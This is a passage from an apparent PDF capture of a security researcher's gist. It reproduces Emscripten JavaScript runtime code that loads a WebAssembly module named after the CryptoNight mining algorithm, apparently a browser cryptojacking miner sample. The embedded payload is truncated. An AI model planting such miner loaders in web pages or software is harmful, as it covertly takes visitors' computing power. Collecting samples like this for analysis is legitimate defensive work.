callRuntimeCallbacks(__ATPOSTRUN__) } function addOnPreRun(cb) {\r\n__ATPRERUN__.unshift(cb) } Module.addOnPreRun = addOnPreRun; function addOnInit(cb) { __ATINIT__.unshift(cb) }\r\nModule.addOnInit = addOnInit; function addOnPreMain(cb) { __ATMAIN__.unshift(cb) } Module.addOnPreMain =\r\naddOnPreMain; function addOnExit(cb) { __ATEXIT__.unshift(cb) } Module.addOnExit = addOnExit; function\r\naddOnPostRun(cb) { __ATPOSTRUN__.unshift(cb) } Module.addOnPostRun = addOnPostRun; function\r\nintArrayFromString(stringy, dontAddNull, length) { var len = length \u003e 0 ? length : lengthBytesUTF8(stringy) + 1; var\r\nu8array = new Array(len); var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length); if (dontAddNull)\r\nu8array.length = numBytesWritten; return u8array } Module.intArrayFromString = intArrayFromString; function\r\nintArrayToString(array) { var ret = []; for (var i = 0; i \u003c array.length; i++) { var chr = array[i]; if (chr \u003e 255) { chr \u0026= 255 }\r\nret.push(String.fromCharCode(chr)) } return ret.join(\"\") } Module.intArrayToString = intArrayToString; function\r\nwriteStringToMemory(string, buffer, dontAddNull) { Runtime.warnOnce(\"writeStringToMemory is deprecated and should\r\nnot be called! Use stringToUTF8() instead!\"); var lastChar, end; if (dontAddNull) { end = buffer +\r\nlengthBytesUTF8(string); lastChar = HEAP8[end] } stringToUTF8(string, buffer, Infinity); if (dontAddNull) HEAP8[end] =\r\nlastChar } Module.writeStringToMemory = writeStringToMemory; function writeArrayToMemory(array, buffer) {\r\nHEAP8.set(array, buffer) } Module.writeArrayToMemory = writeArrayToMemory; function writeAsciiToMemory(str,\r\nbuffer, dontAddNull) { for (var i = 0; i \u003c str.length; ++i) { HEAP8[buffer++ \u003e\u003e 0] = str.charCodeAt(i) } if (!dontAddNull)\r\nHEAP8[buffer \u003e\u003e 0] = 0 } Module.writeAsciiToMemory = writeAsciiToMemory; if (!Math.imul || Math.imul(4294967295,\r\n5) !== -5) Math.imul = function imul(a, b) { var ah = a \u003e\u003e\u003e 16; var al = a \u0026 65535; var bh = b \u003e\u003e\u003e 16; var bl = b \u0026 65535;\r\nreturn al * bl + (ah * bl + al * bh \u003c\u003c 16) | 0 }; Math.imul = Math.imul; if (!Math.fround) { var froundBuffer = new\r\nFloat32Array(1); Math.fround = (function(x) { froundBuffer[0] = x; return froundBuffer[0] }) } Math.fround =\r\nMath.fround; if (!Math.clz32) Math.clz32 = (function(x) { x = x \u003e\u003e\u003e 0; for (var i = 0; i \u003c 32; i++) { if (x \u0026 1 \u003c\u003c 31 - i)\r\nreturn i } return 32 }); Math.clz32 = Math.clz32; if (!Math.trunc) Math.trunc = (function(x) { return x \u003c 0 ? Math.ceil(x) :\r\nMath.floor(x) }); Math.trunc = Math.trunc; var Math_abs = Math.abs; var Math_cos = Math.cos; var Math_sin = Math.sin;\r\nvar Math_tan = Math.tan; var Math_acos = Math.acos; var Math_asin = Math.asin; var Math_atan = Math.atan; var\r\nMath_atan2 = Math.atan2; var Math_exp = Math.exp; var Math_log = Math.log; var Math_sqrt = Math.sqrt; var Math_ceil\r\n= Math.ceil; var Math_floor = Math.floor; var Math_pow = Math.pow; var Math_imul = Math.imul; var Math_fround =\r\nMath.fround; var Math_round = Math.round; var Math_min = Math.min; var Math_clz32 = Math.clz32; var Math_trunc =\r\nMath.trunc; var runDependencies = 0; var runDependencyWatcher = null; var dependenciesFulfilled = null; function\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 4 of 20\n\ngetUniqueRunDependency(id) { return id } function addRunDependency(id) { runDependencies++; if\r\n(Module.monitorRunDependencies) { Module.monitorRunDependencies(runDependencies) } }\r\nModule.addRunDependency = addRunDependency; function removeRunDependency(id) { runDependencies--; if\r\n(Module.monitorRunDependencies) { Module.monitorRunDependencies(runDependencies) } if (runDependencies == 0) {\r\nif (runDependencyWatcher !== null) { clearInterval(runDependencyWatcher); runDependencyWatcher = null } if\r\n(dependenciesFulfilled) { var callback = dependenciesFulfilled; dependenciesFulfilled = null; callback() } } }\r\nModule.removeRunDependency = removeRunDependency; Module.preloadedImages = {}; Module.preloadedAudios = {};\r\nvar memoryInitializer = null; function integrateWasmJS(Module) { var method = Module.wasmJSMethod || \"native-wasm\";\r\nModule.wasmJSMethod = method; var wasmTextFile = Module.wasmTextFile || \"c.wast\"; var wasmBinaryFile =\r\nModule.wasmBinaryFile || \"wasm.dat\"; var asmjsCodeFile = Module.asmjsCodeFile || \"cryptonight.temp.asm.js\"; if (typeof\r\nModule.locateFile === \"function\") { wasmTextFile = Module.locateFile(wasmTextFile); wasmBinaryFile =\r\nModule.locateFile(wasmBinaryFile); asmjsCodeFile = Module.locateFile(asmjsCodeFile) } var wasmPageSize = 64 * 1024;\r\nvar asm2wasmImports = { \"f64-rem\": (function(x, y) { return x % y }), \"f64-to-int\": (function(x) { return x | 0 }), \"i32s-div\": (function(x, y) { return (x | 0) / (y | 0) | 0 }), \"i32u-div\": (function(x, y) { return (x \u003e\u003e\u003e 0) / (y \u003e\u003e\u003e 0) \u003e\u003e\u003e 0 }), \"i32s-rem\": (function(x, y) { return (x | 0) % (y | 0) | 0 }), \"i32u-rem\": (function(x, y) { return (x \u003e\u003e\u003e 0) % (y \u003e\u003e\u003e 0) \u003e\u003e\u003e 0 }),\r\n\"debugger\": (function() { debugger }) }; var info = { \"global\": null, \"env\": null, \"asm2wasm\": asm2wasmImports, \"parent\":\r\nModule }; var exports = null; function lookupImport(mod, base) { var lookup = info; if (mod.indexOf(\".\") \u003c 0) { lookup =\r\n(lookup || {})[mod] } else { var parts = mod.split(\".\"); lookup = (lookup || {})[parts[0]]; lookup = (lookup || {})[parts[1]] } if\r\n(base) { lookup = (lookup || {})[base] } if (lookup === undefined) { abort(\"bad lookupImport to (\" + mod + \").\" + base) }\r\nreturn lookup } function mergeMemory(newBuffer) { var oldBuffer = Module.buffer; if (newBuffer.byteLength \u003c\r\noldBuffer.byteLength) { Module.printErr(\"the new buffer in mergeMemory is smaller than the previous one. in native wasm,\r\nwe should grow memory here\") } var oldView = new Int8Array(oldBuffer); var newView = new Int8Array(newBuffer); if\r\n(!memoryInitializer) { oldView.set(newView.subarray(Module.STATIC_BASE, Module.STATIC_BASE +\r\nModule.STATIC_BUMP), Module.STATIC_BASE) } newView.set(oldView); updateGlobalBuffer(newBuffer);\r\nupdateGlobalBufferViews() } var WasmTypes = { none: 0, i32: 1, i64: 2, f32: 3, f64: 4 }; function fixImports(imports) { if\r\n(!0) return imports; var ret = {}; for (var i in imports) { var fixed = i; if (fixed[0] == \"_\") fixed = fixed.substr(1); ret[fixed] =\r\nimports[i] } return ret } function getBinary() { try { var binary; if (Module.wasmBinary) { binary = Module.wasmBinary;\r\nbinary = new Uint8Array(binary) } else if (Module.readBinary) {} else { throw \"on the web, we need the wasm binary to be\r\npreloaded and set on Module[\\'wasmBinary\\']. emcc.py will do that for you when generating HTML (but not JS)\" } return\r\nbinary } catch (err) { abort(err) } } function getBinaryPromise() { if (!Module.wasmBinary \u0026\u0026 typeof fetch ===\r\n\"function\") { var raw =\r\n\"AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/AX\r\nreturn Uint8Array.from(atob(raw), c =\u003e c.charCodeAt(0)) } return new Promise((function(resolve, reject) {\r\nresolve(getBinary()) })) } function doNativeWasm(global, env, providedBuffer) { if (typeof WebAssembly !== \"object\") {\r\nModule.printErr(\"no native wasm support detected\"); return !1 } if (!(Module.wasmMemory instanceof\r\nWebAssembly.Memory)) { Module.printErr(\"no native wasm Memory in use\"); return !1 } env.memory =\r\nModule.wasmMemory; info.global = { \"NaN\": NaN, \"Infinity\": Infinity }; info[\"global.Math\"] = global.Math; info.env =\r\nenv; function receiveInstance(instance) { exports = instance.exports; if (exports.memory) mergeMemory(exports.memory);\r\nModule.asm = exports; Module.usingWasm = !0; removeRunDependency(\"wasm-instantiate\") }\r\naddRunDependency(\"wasm-instantiate\"); if (Module.instantiateWasm) { try { return Module.instantiateWasm(info,\r\nreceiveInstance) } catch (e) { Module.printErr(\"Module.instantiateWasm callback failed with error: \" + e); return !1 } }\r\nWebAssembly.instantiate(getBinaryPromise(), info).then((function(output) { receiveInstance(output.instance) })); return {}\r\n} Module.asmPreload = Module.asm; var asmjsReallocBuffer = Module.reallocBuffer; var wasmReallocBuffer =\r\n(function(size) { var PAGE_MULTIPLE = Module.usingWasm ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE; size =\r\nalignUp(size, PAGE_MULTIPLE); var old = Module.buffer; var oldSize = old.byteLength; if (Module.usingWasm) { try {\r\nvar result = Module.wasmMemory.grow((size - oldSize) / wasmPageSize); if (result !== (-1 | 0)) { return Module.buffer =\r\nModule.wasmMemory.buffer } else { return null } } catch (e) { return null } } else { exports.__growWasmMemory((size -\r\noldSize) / wasmPageSize); return Module.buffer !== old ? Module.buffer : null } }); Module.reallocBuffer = (function(size)\r\n{ if (finalMethod === \"asmjs\") { return asmjsReallocBuffer(size) } else { return wasmReallocBuffer(size) } }); var\r\nfinalMethod = \"\"; Module.asm = (function(global, env, providedBuffer) { global = fixImports(global); env =\r\nfixImports(env); if (!env.table) { var TABLE_SIZE = Module.wasmTableSize; if (TABLE_SIZE === undefined)\r\nTABLE_SIZE = 1024; var MAX_TABLE_SIZE = Module.wasmMaxTableSize; if (typeof WebAssembly === \"object\" \u0026\u0026\r\ntypeof WebAssembly.Table === \"function\") { if (MAX_TABLE_SIZE !== undefined) { env.table = new\r\nWebAssembly.Table({ \"initial\": TABLE_SIZE, \"maximum\": MAX_TABLE_SIZE, \"element\": \"anyfunc\" }) } else {\r\nenv.table = new WebAssembly.Table({ \"initial\": TABLE_SIZE, element: \"anyfunc\" }) } } else { env.table = new\r\nArray(TABLE_SIZE) } Module.wasmTable = env.table } if (!env.memoryBase) { env.memoryBase =\r\nModule.STATIC_BASE } if (!env.tableBase) { env.tableBase = 0 } var exports; exports = doNativeWasm(global, env,\r\nprovidedBuffer); return exports }); var methodHandler = Module.asm } integrateWasmJS(Module); var ASM_CONSTS =\r\n[]; STATIC_BASE = Runtime.GLOBAL_BASE; STATICTOP = STATIC_BASE + 12512; __ATINIT__.push();\r\nmemoryInitializer = Module.wasmJSMethod.indexOf(\"asmjs\") \u003e= 0 || Module.wasmJSMethod.indexOf(\"interpret-asm2wasm\") \u003e= 0 ? \"cryptonight.js.mem\" : null; var STATIC_BUMP = 12512; Module.STATIC_BASE = STATIC_BASE;\r\nModule.STATIC_BUMP = STATIC_BUMP; var tempDoublePtr = STATICTOP; STATICTOP += 16; function\r\n___assert_fail(condition, filename, line, func) { ABORT = !0; throw \"Assertion failed: \" + Pointer_stringify(condition) + \",\r\nat: \" + [filename ? Pointer_stringify(filename) : \"unknown filename\", line, func ? Pointer_stringify(func) : \"unknown\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 5 of 20\n\nfunction\"] + \" at \" + stackTrace() } var PROCINFO = { ppid: 1, pid: 42, sid: 42, pgid: 42 }; var ERRNO_CODES = {\r\nEPERM: 1, ENOENT: 2, ESRCH: 3, EINTR: 4, EIO: 5, ENXIO: 6, E2BIG: 7, ENOEXEC: 8, EBADF: 9, ECHILD: 10,\r\nEAGAIN: 11, EWOULDBLOCK: 11, ENOMEM: 12, EACCES: 13, EFAULT: 14, ENOTBLK: 15, EBUSY: 16, EEXIST:\r\n17, EXDEV: 18, ENODEV: 19, ENOTDIR: 20, EISDIR: 21, EINVAL: 22, ENFILE: 23, EMFILE: 24, ENOTTY: 25,\r\nETXTBSY: 26, EFBIG: 27, ENOSPC: 28, ESPIPE: 29, EROFS: 30, EMLINK: 31, EPIPE: 32, EDOM: 33, ERANGE: 34,\r\nENOMSG: 42, EIDRM: 43, ECHRNG: 44, EL2NSYNC: 45, EL3HLT: 46, EL3RST: 47, ELNRNG: 48, EUNATCH: 49,\r\nENOCSI: 50, EL2HLT: 51, EDEADLK: 35, ENOLCK: 37, EBADE: 52, EBADR: 53, EXFULL: 54, ENOANO: 55,\r\nEBADRQC: 56, EBADSLT: 57, EDEADLOCK: 35, EBFONT: 59, ENOSTR: 60, ENODATA: 61, ETIME: 62, ENOSR: 63,\r\nENONET: 64, ENOPKG: 65, EREMOTE: 66, ENOLINK: 67, EADV: 68, ESRMNT: 69, ECOMM: 70, EPROTO: 71,\r\nEMULTIHOP: 72, EDOTDOT: 73, EBADMSG: 74, ENOTUNIQ: 76, EBADFD: 77, EREMCHG: 78, ELIBACC: 79,\r\nELIBBAD: 80, ELIBSCN: 81, ELIBMAX: 82, ELIBEXEC: 83, ENOSYS: 38, ENOTEMPTY: 39, ENAMETOOLONG:\r\n36, ELOOP: 40, EOPNOTSUPP: 95, EPFNOSUPPORT: 96, ECONNRESET: 104, ENOBUFS: 105, EAFNOSUPPORT:\r\n97, EPROTOTYPE: 91, ENOTSOCK: 88, ENOPROTOOPT: 92, ESHUTDOWN: 108, ECONNREFUSED: 111,\r\nEADDRINUSE: 98, ECONNABORTED: 103, ENETUNREACH: 101, ENETDOWN: 100, ETIMEDOUT: 110,\r\nEHOSTDOWN: 112, EHOSTUNREACH: 113, EINPROGRESS: 115, EALREADY: 114, EDESTADDRREQ: 89,\r\nEMSGSIZE: 90, EPROTONOSUPPORT: 93, ESOCKTNOSUPPORT: 94, EADDRNOTAVAIL: 99, ENETRESET: 102,\r\nEISCONN: 106, ENOTCONN: 107, ETOOMANYREFS: 109, EUSERS: 87, EDQUOT: 122, ESTALE: 116, ENOTSUP:\r\n95, ENOMEDIUM: 123, EILSEQ: 84, EOVERFLOW: 75, ECANCELED: 125, ENOTRECOVERABLE: 131,\r\nEOWNERDEAD: 130, ESTRPIPE: 86 }; var ERRNO_MESSAGES = { 0: \"Success\", 1: \"Not super-user\", 2: \"No such file\r\nor directory\", 3: \"No such process\", 4: \"Interrupted system call\", 5: \"I/O error\", 6: \"No such device or address\", 7: \"Arg list\r\ntoo long\", 8: \"Exec format error\", 9: \"Bad file number\", 10: \"No children\", 11: \"No more processes\", 12: \"Not enough core\",\r\n13: \"Permission denied\", 14: \"Bad address\", 15: \"Block device required\", 16: \"Mount device busy\", 17: \"File exists\", 18:\r\n\"Cross-device link\", 19: \"No such device\", 20: \"Not a directory\", 21: \"Is a directory\", 22: \"Invalid argument\", 23: \"Too\r\nmany open files in system\", 24: \"Too many open files\", 25: \"Not a typewriter\", 26: \"Text file busy\", 27: \"File too large\", 28:\r\n\"No space left on device\", 29: \"Illegal seek\", 30: \"Read only file system\", 31: \"Too many links\", 32: \"Broken pipe\", 33:\r\n\"Math arg out of domain of func\", 34: \"Math result not representable\", 35: \"File locking deadlock error\", 36: \"File or path\r\nname too long\", 37: \"No record locks available\", 38: \"Function not implemented\", 39: \"Directory not empty\", 40: \"Too\r\nmany symbolic links\", 42: \"No message of desired type\", 43: \"Identifier removed\", 44: \"Channel number out of range\", 45:\r\n\"Level 2 not synchronized\", 46: \"Level 3 halted\", 47: \"Level 3 reset\", 48: \"Link number out of range\", 49: \"Protocol driver\r\nnot attached\", 50: \"No CSI structure available\", 51: \"Level 2 halted\", 52: \"Invalid exchange\", 53: \"Invalid request\r\ndescriptor\", 54: \"Exchange full\", 55: \"No anode\", 56: \"Invalid request code\", 57: \"Invalid slot\", 59: \"Bad font file fmt\", 60:\r\n\"Device not a stream\", 61: \"No data (for no delay io)\", 62: \"Timer expired\", 63: \"Out of streams resources\", 64: \"Machine is\r\nnot on the network\", 65: \"Package not installed\", 66: \"The object is remote\", 67: \"The link has been severed\", 68: \"Advertise\r\nerror\", 69: \"Srmount error\", 70: \"Communication error on send\", 71: \"Protocol error\", 72: \"Multihop attempted\", 73: \"Cross\r\nmount point (not really error)\", 74: \"Trying to read unreadable message\", 75: \"Value too large for defined data type\", 76:\r\n\"Given log. name not unique\", 77: \"f.d. invalid for this operation\", 78: \"Remote address changed\", 79: \"Can access a needed\r\nshared lib\", 80: \"Accessing a corrupted shared lib\", 81: \".lib section in a.out corrupted\", 82: \"Attempting to link in too many\r\nlibs\", 83: \"Attempting to exec a shared library\", 84: \"Illegal byte sequence\", 86: \"Streams pipe error\", 87: \"Too many users\",\r\n88: \"Socket operation on non-socket\", 89: \"Destination address required\", 90: \"Message too long\", 91: \"Protocol wrong type\r\nfor socket\", 92: \"Protocol not available\", 93: \"Unknown protocol\", 94: \"Socket type not supported\", 95: \"Not supported\", 96:\r\n\"Protocol family not supported\", 97: \"Address family not supported by protocol family\", 98: \"Address already in use\", 99:\r\n\"Address not available\", 100: \"Network interface is not configured\", 101: \"Network is unreachable\", 102: \"Connection reset\r\nby network\", 103: \"Connection aborted\", 104: \"Connection reset by peer\", 105: \"No buffer space available\", 106: \"Socket is\r\nalready connected\", 107: \"Socket is not connected\", 108: \"Can\\'t send after socket shutdown\", 109: \"Too many references\",\r\n110: \"Connection timed out\", 111: \"Connection refused\", 112: \"Host is down\", 113: \"Host is unreachable\", 114: \"Socket\r\nalready connected\", 115: \"Connection already in progress\", 116: \"Stale file handle\", 122: \"Quota exceeded\", 123: \"No\r\nmedium (in tape drive)\", 125: \"Operation canceled\", 130: \"Previous owner died\", 131: \"State not recoverable\" }; function\r\n___setErrNo(value) { if (Module.___errno_location) HEAP32[Module.___errno_location() \u003e\u003e 2] = value; return value } var\r\nPATH = { splitPath: (function(filename) { var splitPathRe = /^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/; return\r\nsplitPathRe.exec(filename).slice(1) }), normalizeArray: (function(parts, allowAboveRoot) { var up = 0; for (var i =\r\nparts.length - 1; i \u003e= 0; i--) { var last = parts[i]; if (last === \".\") { parts.splice(i, 1) } else if (last === \"..\") { parts.splice(i, 1);\r\nup++ } else if (up) { parts.splice(i, 1); up-- } } if (allowAboveRoot) { for (; up; up--) { parts.unshift(\"..\") } } return parts }),\r\nnormalize: (function(path) { var isAbsolute = path.charAt(0) === \"/\", trailingSlash = path.substr(-1) === \"/\"; path =\r\nPATH.normalizeArray(path.split(\"/\").filter((function(p) { return !!p })), !isAbsolute).join(\"/\"); if (!path \u0026\u0026 !isAbsolute) {\r\npath = \".\" } if (path \u0026\u0026 trailingSlash) { path += \"/\" } return (isAbsolute ? \"/\" : \"\") + path }), dirname: (function(path) { var\r\nresult = PATH.splitPath(path), root = result[0], dir = result[1]; if (!root \u0026\u0026 !dir) { return \".\" } if (dir) { dir = dir.substr(0,\r\ndir.length - 1) } return root + dir }), basename: (function(path) { if (path === \"/\") return \"/\"; var lastSlash =\r\npath.lastIndexOf(\"/\"); if (lastSlash === -1) return path; return path.substr(lastSlash + 1) }), extname: (function(path) { return\r\nPATH.splitPath(path)[3] }), join: (function() { var paths = Array.prototype.slice.call(arguments, 0); return\r\nPATH.normalize(paths.join(\"/\")) }), join2: (function(l, r) { return PATH.normalize(l + \"/\" + r) }), resolve: (function() { var\r\nresolvedPath = \"\", resolvedAbsolute = !1; for (var i = arguments.length - 1; i \u003e= -1 \u0026\u0026 !resolvedAbsolute; i--) { var path = i\r\n\u003e= 0 ? arguments[i] : FS.cwd(); if (typeof path !== \"string\") { throw new TypeError(\"Arguments to path.resolve must be\r\nstrings\") } else if (!path) { return \"\" } resolvedPath = path + \"/\" + resolvedPath; resolvedAbsolute = path.charAt(0) === \"/\"\r\n} resolvedPath = PATH.normalizeArray(resolvedPath.split(\"/\").filter((function(p) { return !!p })),\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 6 of 20\n\n!resolvedAbsolute).join(\"/\"); return (resolvedAbsolute ? \"/\" : \"\") + resolvedPath || \".\" }), relative: (function(from, to) { from\r\n= PATH.resolve(from).substr(1); to = PATH.resolve(to).substr(1); function trim(arr) { var start = 0; for (; start \u003c arr.length;\r\nstart++) { if (arr[start] !== \"\") break } var end = arr.length - 1; for (; end \u003e= 0; end--) { if (arr[end] !== \"\") break } if (start \u003e\r\nend) return []; return arr.slice(start, end - start + 1) } var fromParts = trim(from.split(\"/\")); var toParts = trim(to.split(\"/\"));\r\nvar length = Math.min(fromParts.length, toParts.length); var samePartsLength = length; for (var i = 0; i \u003c length; i++) { if\r\n(fromParts[i] !== toParts[i]) { samePartsLength = i; break } } var outputParts = []; for (var i = samePartsLength; i \u003c\r\nfromParts.length; i++) { outputParts.push(\"..\") } outputParts = outputParts.concat(toParts.slice(samePartsLength)); return\r\noutputParts.join(\"/\") }) }; var TTY = { ttys: [], init: (function() {}), shutdown: (function() {}), register: (function(dev, ops) {\r\nTTY.ttys[dev] = { input: [], output: [], ops: ops }; FS.registerDevice(dev, TTY.stream_ops) }), stream_ops: { open:\r\n(function(stream) { var tty = TTY.ttys[stream.node.rdev]; if (!tty) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV)\r\n} stream.tty = tty; stream.seekable = !1 }), close: (function(stream) { stream.tty.ops.flush(stream.tty) }), flush:\r\n(function(stream) { stream.tty.ops.flush(stream.tty) }), read: (function(stream, buffer, offset, length, pos) { if (!stream.tty ||\r\n!stream.tty.ops.get_char) { throw new FS.ErrnoError(ERRNO_CODES.ENXIO) } var bytesRead = 0; for (var i = 0; i \u003c\r\nlength; i++) { var result; try { result = stream.tty.ops.get_char(stream.tty) } catch (e) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EIO) } if (result === undefined \u0026\u0026 bytesRead === 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EAGAIN) } if (result === null || result === undefined) break; bytesRead++; buffer[offset\r\n+ i] = result } if (bytesRead) { stream.node.timestamp = Date.now() } return bytesRead }), write: (function(stream, buffer,\r\noffset, length, pos) { if (!stream.tty || !stream.tty.ops.put_char) { throw new FS.ErrnoError(ERRNO_CODES.ENXIO) } for\r\n(var i = 0; i \u003c length; i++) { try { stream.tty.ops.put_char(stream.tty, buffer[offset + i]) } catch (e) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EIO) } } if (length) { stream.node.timestamp = Date.now() } return i }) }, default_tty_ops:\r\n{ get_char: (function(tty) { if (!tty.input.length) { var result = null; if (ENVIRONMENT_IS_NODE) { var BUFSIZE = 256;\r\nvar buf = new Buffer(BUFSIZE); var bytesRead = 0; var isPosixPlatform = process.platform != \"win32\"; var fd =\r\nprocess.stdin.fd; if (isPosixPlatform) { var usingDevice = !1; try { fd = fs.openSync(\"/dev/stdin\", \"r\"); usingDevice = !0 }\r\ncatch (e) {} } try { bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null) } catch (e) { if (e.toString().indexOf(\"EOF\") != -1)\r\nbytesRead = 0; else throw e } if (usingDevice) { fs.closeSync(fd) } if (bytesRead \u003e 0) { result = buf.slice(0,\r\nbytesRead).toString(\"utf-8\") } else { result = null } } else if (typeof window != \"undefined\" \u0026\u0026 typeof window.prompt ==\r\n\"function\") { result = window.prompt(\"Input: \"); if (result !== null) { result += \"\\\\n\" } } else if (typeof readline ==\r\n\"function\") { result = readline(); if (result !== null) { result += \"\\\\n\" } } if (!result) { return null } tty.input =\r\nintArrayFromString(result, !0) } return tty.input.shift() }), put_char: (function(tty, val) { if (val === null || val === 10) {\r\nModule.print(UTF8ArrayToString(tty.output, 0)); tty.output = [] } else { if (val != 0) tty.output.push(val) } }), flush:\r\n(function(tty) { if (tty.output \u0026\u0026 tty.output.length \u003e 0) { Module.print(UTF8ArrayToString(tty.output, 0)); tty.output = [] }\r\n}) }, default_tty1_ops: { put_char: (function(tty, val) { if (val === null || val === 10) {\r\nModule.printErr(UTF8ArrayToString(tty.output, 0)); tty.output = [] } else { if (val != 0) tty.output.push(val) } }), flush:\r\n(function(tty) { if (tty.output \u0026\u0026 tty.output.length \u003e 0) { Module.printErr(UTF8ArrayToString(tty.output, 0)); tty.output = []\r\n} }) } }; var MEMFS = { ops_table: null, mount: (function(mount) { return MEMFS.createNode(null, \"/\", 16384 | 511, 0) }),\r\ncreateNode: (function(parent, name, mode, dev) { if (FS.isBlkdev(mode) || FS.isFIFO(mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) } if (!MEMFS.ops_table) { MEMFS.ops_table = { dir: { node: { getattr:\r\nMEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr, lookup: MEMFS.node_ops.lookup, mknod:\r\nMEMFS.node_ops.mknod, rename: MEMFS.node_ops.rename, unlink: MEMFS.node_ops.unlink, rmdir:\r\nMEMFS.node_ops.rmdir, readdir: MEMFS.node_ops.readdir, symlink: MEMFS.node_ops.symlink }, stream: { llseek:\r\nMEMFS.stream_ops.llseek } }, file: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr },\r\nstream: { llseek: MEMFS.stream_ops.llseek, read: MEMFS.stream_ops.read, write: MEMFS.stream_ops.write, allocate:\r\nMEMFS.stream_ops.allocate, mmap: MEMFS.stream_ops.mmap, msync: MEMFS.stream_ops.msync } }, link: { node: {\r\ngetattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr, readlink: MEMFS.node_ops.readlink }, stream: {} },\r\nchrdev: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr }, stream: FS.chrdev_stream_ops } }\r\n} var node = FS.createNode(parent, name, mode, dev); if (FS.isDir(node.mode)) { node.node_ops =\r\nMEMFS.ops_table.dir.node; node.stream_ops = MEMFS.ops_table.dir.stream; node.contents = {} } else if\r\n(FS.isFile(node.mode)) { node.node_ops = MEMFS.ops_table.file.node; node.stream_ops = MEMFS.ops_table.file.stream;\r\nnode.usedBytes = 0; node.contents = null } else if (FS.isLink(node.mode)) { node.node_ops = MEMFS.ops_table.link.node;\r\nnode.stream_ops = MEMFS.ops_table.link.stream } else if (FS.isChrdev(node.mode)) { node.node_ops =\r\nMEMFS.ops_table.chrdev.node; node.stream_ops = MEMFS.ops_table.chrdev.stream } node.timestamp = Date.now(); if\r\n(parent) { parent.contents[name] = node } return node }), getFileDataAsRegularArray: (function(node) { if (node.contents\r\n\u0026\u0026 node.contents.subarray) { var arr = []; for (var i = 0; i \u003c node.usedBytes; ++i) arr.push(node.contents[i]); return arr }\r\nreturn node.contents }), getFileDataAsTypedArray: (function(node) { if (!node.contents) return new Uint8Array; if\r\n(node.contents.subarray) return node.contents.subarray(0, node.usedBytes); return new Uint8Array(node.contents) }),\r\nexpandFileStorage: (function(node, newCapacity) { if (node.contents \u0026\u0026 node.contents.subarray \u0026\u0026 newCapacity \u003e\r\nnode.contents.length) { node.contents = MEMFS.getFileDataAsRegularArray(node); node.usedBytes = node.contents.length\r\n} if (!node.contents || node.contents.subarray) { var prevCapacity = node.contents ? node.contents.length : 0; if\r\n(prevCapacity \u003e= newCapacity) return; var CAPACITY_DOUBLING_MAX = 1024 * 1024; newCapacity =\r\nMath.max(newCapacity, prevCapacity * (prevCapacity \u003c CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0); if (prevCapacity\r\n!= 0) newCapacity = Math.max(newCapacity, 256); var oldContents = node.contents; node.contents = new\r\nUint8Array(newCapacity); if (node.usedBytes \u003e 0) node.contents.set(oldContents.subarray(0, node.usedBytes), 0); return }\r\nif (!node.contents \u0026\u0026 newCapacity \u003e 0) node.contents = []; while (node.contents.length \u003c newCapacity)\r\nnode.contents.push(0) }), resizeFileStorage: (function(node, newSize) { if (node.usedBytes == newSize) return; if (newSize\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 7 of 20\n\n== 0) { node.contents = null; node.usedBytes = 0; return } if (!node.contents || node.contents.subarray) { var oldContents =\r\nnode.contents; node.contents = new Uint8Array(new ArrayBuffer(newSize)); if (oldContents) {\r\nnode.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes))) } node.usedBytes = newSize; return } if\r\n(!node.contents) node.contents = []; if (node.contents.length \u003e newSize) node.contents.length = newSize; else while\r\n(node.contents.length \u003c newSize) node.contents.push(0); node.usedBytes = newSize }), node_ops: { getattr: (function(node)\r\n{ var attr = {}; attr.dev = FS.isChrdev(node.mode) ? node.id : 1; attr.ino = node.id; attr.mode = node.mode; attr.nlink = 1;\r\nattr.uid = 0; attr.gid = 0; attr.rdev = node.rdev; if (FS.isDir(node.mode)) { attr.size = 4096 } else if (FS.isFile(node.mode)) {\r\nattr.size = node.usedBytes } else if (FS.isLink(node.mode)) { attr.size = node.link.length } else { attr.size = 0 } attr.atime =\r\nnew Date(node.timestamp); attr.mtime = new Date(node.timestamp); attr.ctime = new Date(node.timestamp); attr.blksize =\r\n4096; attr.blocks = Math.ceil(attr.size / attr.blksize); return attr }), setattr: (function(node, attr) { if (attr.mode !== undefined)\r\n{ node.mode = attr.mode } if (attr.timestamp !== undefined) { node.timestamp = attr.timestamp } if (attr.size !== undefined)\r\n{ MEMFS.resizeFileStorage(node, attr.size) } }), lookup: (function(parent, name) { throw\r\nFS.genericErrors[ERRNO_CODES.ENOENT] }), mknod: (function(parent, name, mode, dev) { return\r\nMEMFS.createNode(parent, name, mode, dev) }), rename: (function(old_node, new_dir, new_name) { if\r\n(FS.isDir(old_node.mode)) { var new_node; try { new_node = FS.lookupNode(new_dir, new_name) } catch (e) {} if\r\n(new_node) { for (var i in new_node.contents) { throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } } } delete\r\nold_node.parent.contents[old_node.name]; old_node.name = new_name; new_dir.contents[new_name] = old_node;\r\nold_node.parent = new_dir }), unlink: (function(parent, name) { delete parent.contents[name] }), rmdir: (function(parent,\r\nname) { var node = FS.lookupNode(parent, name); for (var i in node.contents) { throw 